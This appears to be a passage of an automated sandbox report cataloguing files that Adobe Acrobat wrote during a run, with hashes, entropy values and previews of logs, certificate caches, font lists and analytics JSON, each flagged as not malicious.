SSDEEP:	6:iO4XmFiRjyq2PcNwi2nKuAl9OmbzNMxIFUtSXiFZq1ZmwsXiFZ8RkwOcNwi2nKuP:7UmJvLZHAa8jFUtSiPq1/oiPM54ZHAab
MD5:	E409C586C1457786382C3F143A615D0C
SHA1:	1D8ED34A565798728301909E27855127E5B36B99
SHA-256:	52FDCDB5E8E13B027F89B6D8D455A3E04BA4AA6D80490B9D187E62DAB576BF53
SHA-512:	7211A2AC2A0491F01F35440CE1AECF6B149974A03D5A9D2093DC44BBC5CBE53E15564711957C945756B85D01E3F6915D5D4DEDFD7E3A85FB47E32A6225719511
Malicious:	false
Preview:	2025/01/10-12:42:54.853 1e94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:42:54.857 1e94 Recovering log #3.2025/01/10-12:42:54.857 1e94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438759505806181
Encrypted:	false
SSDEEP:	384:yeaci5GKiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1qurVgazUpUTTGt
MD5:	7AECE59103A3255771A6A340BDB8B270
SHA1:	579775CB0186D08C207706283443B1DD2A9406F6
SHA-256:	706CF519E068D9FB96FB35D53E5804735B26142926DC71C42F0B3C0781E7C5F5
SHA-512:	09D09EC8BF56D9926CEAC555794A57BEBA672869C965A96A03F430E8FA507684C9859AB5B3A562841BF20045D403605B6A66AD8B4988AD8279F114BF063E7973
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774791706517563
Encrypted:	false
SSDEEP:	48:7Mzp/E2ioyVAioy3DoWoy1CABoy14KOioy1noy1AYoy1Wioy1hioybioyyoy1nok:7ApjuA0iAIXKQLXb9IVXEBodRBkr
MD5:	62BBA09174922B2BA2C90B07391F1E36
SHA1:	2F3E11EA3B9D76E7FCE3DE6233C7E50CD01F9BC9
SHA-256:	14F79F613719426281C501C0B38E1CEC2D44B6BC1259C1D39E059D7032EEE931
SHA-512:	2CE8362346F5FCA8185033B043E46CDB6743D47EC42DC77B3B5A4753EA553062FDF4637CF907966A0E452739211ECE84ABADA139409134B45038B0555F87DA17
Malicious:	false
Preview:	.... .c.....)..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklzxOVltfllXlE/HT8klrJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKveT8sFdNMa8RdWBwRd
MD5:	C3C3BACEA72C9449C24A6BF72185E7F4
SHA1:	E6552F793D452C40AE81137AFE0A301363CF5C2A
SHA-256:	BDDA906F4B4EBA39B8E329B6FC0050FE72C6B55DE3F5533A66CD125BC17BD0E8
SHA-512:	A30DECF2A337F75918C01A17D4407544EDDA9C7738290C1994A4784E4A6E40821B52BBA79FFD75C51A2201FCDE261339641229C6996097007F236CF233E171C8
Malicious:	false
Preview:	p...... ........@....c..(....................................................... ..........W....@...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.139179158420051
Encrypted:	false
SSDEEP:	6:kKmptL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:uDiDnLNkPlE99SNxAhUe/3
MD5:	D1BC5F6C5EACE4BF15376B9440492200
SHA1:	E4C545030F27D69DAD2B077C593ED693B9FB649F
SHA-256:	585FA6DC69D1F619E98E2BA911DF78AF73372FF148888E3FFD5E835B95D7D718
SHA-512:	9D77B19021F525AC9D3C22C7C3CCF3CB29073E300810846934B7F226599C949D4047E656A6B4D0A299A0BF00E15E9F5A35134893E4C13B53DDBD909ED4F96DA4
Malicious:	false
Preview:	p...... ........;LT+.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7416

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7416

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.375219795710477
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJM3g98kUwPeUkwRe9:YvXKXan/zUsdTeOKLAGMbLUkee9
MD5:	7BC7CA010FAF19256CEE2E7B1C62C488
SHA1:	83285CCF6ABBF64444D7EE0E2526EF9BC695DAE6
SHA-256:	2DFB7E6DC89FA02F6D2A865E82515B581F1B860F128AF293625B8D8217079F53
SHA-512:	38C88D12761E867387465527C521CE5F9EF34A0940BDD153C9CD1C7243E28C84187C6D621A1B496500734375CBD7E95A71ED7B82F78D381CF257ADA9151F9E36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3100631841041315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfBoTfXpnrPeUkwRe9:YvXKXan/zUsdTeOKLAGWTfXcUkee9
MD5:	0D93D6FB62FC0B606923D1674B161A34
SHA1:	A84C82BED25554065D843DEE6F78D3A9766B1B19
SHA-256:	AE6D3AF341E08D2CE59F2DC55A70117C860CD4D1BFC3F0F705342C398E563B3F
SHA-512:	C7726781D3756C1D1DCEF9C0CA270A1F5F339F9012C794C109D2C4D02E298BAC750D6894368BC870B87B96363F76353E60A88A3E53E53BAF6243D3CD2CAC23AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288202098849399
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfBD2G6UpnrPeUkwRe9:YvXKXan/zUsdTeOKLAGR22cUkee9
MD5:	0103BF86F26ACFB9FF467760754A8229
SHA1:	A87EB79DB5F8BB4F0A784D2EDA53ED51BC2FDA41
SHA-256:	0AEA8626FF19158802388949EBD7ED7D236628D40BF804016B6014DA1F21A054
SHA-512:	7C3548E979A22EDA2EBEEEEE920633425526154672037FDB9B37762C0E85E8B0FC1FF87B2B596044D523FA284FD129F6B49E1501FE2BAE7629052ACF14D624DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3625141132299685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfPmwrPeUkwRe9:YvXKXan/zUsdTeOKLAGH56Ukee9
MD5:	DAD0BC16098CCF7C6523C52EBBE77DE5
SHA1:	ED02F6F2B1191BE42D989DD087D522EE9308FDCD
SHA-256:	C2595EFD3D6E3676FD43B7FE215A4F20C6CF92128CCB97BF69A50FAF70526F2B
SHA-512:	5302D3B7C87BCD6C10A5531826683B615B6554294D6503C7DAC1824F94D0E4BB8D21A0AC25D6504FF13BF4CD94D2FE3512E190DF7ACF8884415CDBF871EE0AC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690678497850116
Encrypted:	false
SSDEEP:	24:Yv6XeAmeOepLgE9cQx8LennAvzBvkn0RCmK8czOCCSy:YvFje9hgy6SAFv5Ah8cv/y
MD5:	02B965013D655AB6FF586637F2DC083F
SHA1:	A5F4BDB57EF6677D3E3DFC282D942CD454B88180
SHA-256:	E049AD12A93747F2E84BB70CC177677AFBE2886C5A781E91D869CC58D3895C19
SHA-512:	77B4B689874D047958596740CFC942668C06FD7F85DEEB2E349B463C574F4EDFE5438BCDCAE33200971E761B0B1F68E4C3ED9EB11D7E566E31740A752902DB87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299363002358728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJf8dPeUkwRe9:YvXKXan/zUsdTeOKLAGU8Ukee9
MD5:	998A7B02A9637CF59DA6FAC03F7917C9
SHA1:	68C268B404A183705B51518B8D1E1B3163542833
SHA-256:	88416940BB301540629CD08127666E3E307441FC7AD6520B08CA7F9B72D2B7A7
SHA-512:	C5EDE7C05F44DC94017DED23B6CFCFCF873F8AF123DD5042B47628B035FDBA3ADFE92AA04BE40E72E5355A0D37B77E3C5768BC095A3029C9DC8C622E64D65166
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.302961185097926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfQ1rPeUkwRe9:YvXKXan/zUsdTeOKLAGY16Ukee9
